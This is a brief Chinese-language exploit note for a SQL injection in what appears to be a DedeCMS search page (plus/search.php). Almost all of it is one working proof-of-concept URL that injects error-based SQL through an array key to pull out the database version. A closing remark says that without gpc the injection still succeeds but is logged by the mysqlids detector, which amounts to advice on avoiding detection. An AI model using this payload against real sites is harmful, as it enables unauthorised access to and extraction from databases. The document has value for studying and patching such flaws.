代码分析省略。
PoC利用
在开启gpc的情况下

http://target/plus/search.php?typeArr[1%20or%20@`'`%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20@`'`]=11&&kwtype=0&q=1111&searchtype=title

在未开启gpc的情况下,虽然利用成功，但是在后面searchview的SQL语句检测中，会被mysqlids检测到，留下日志。
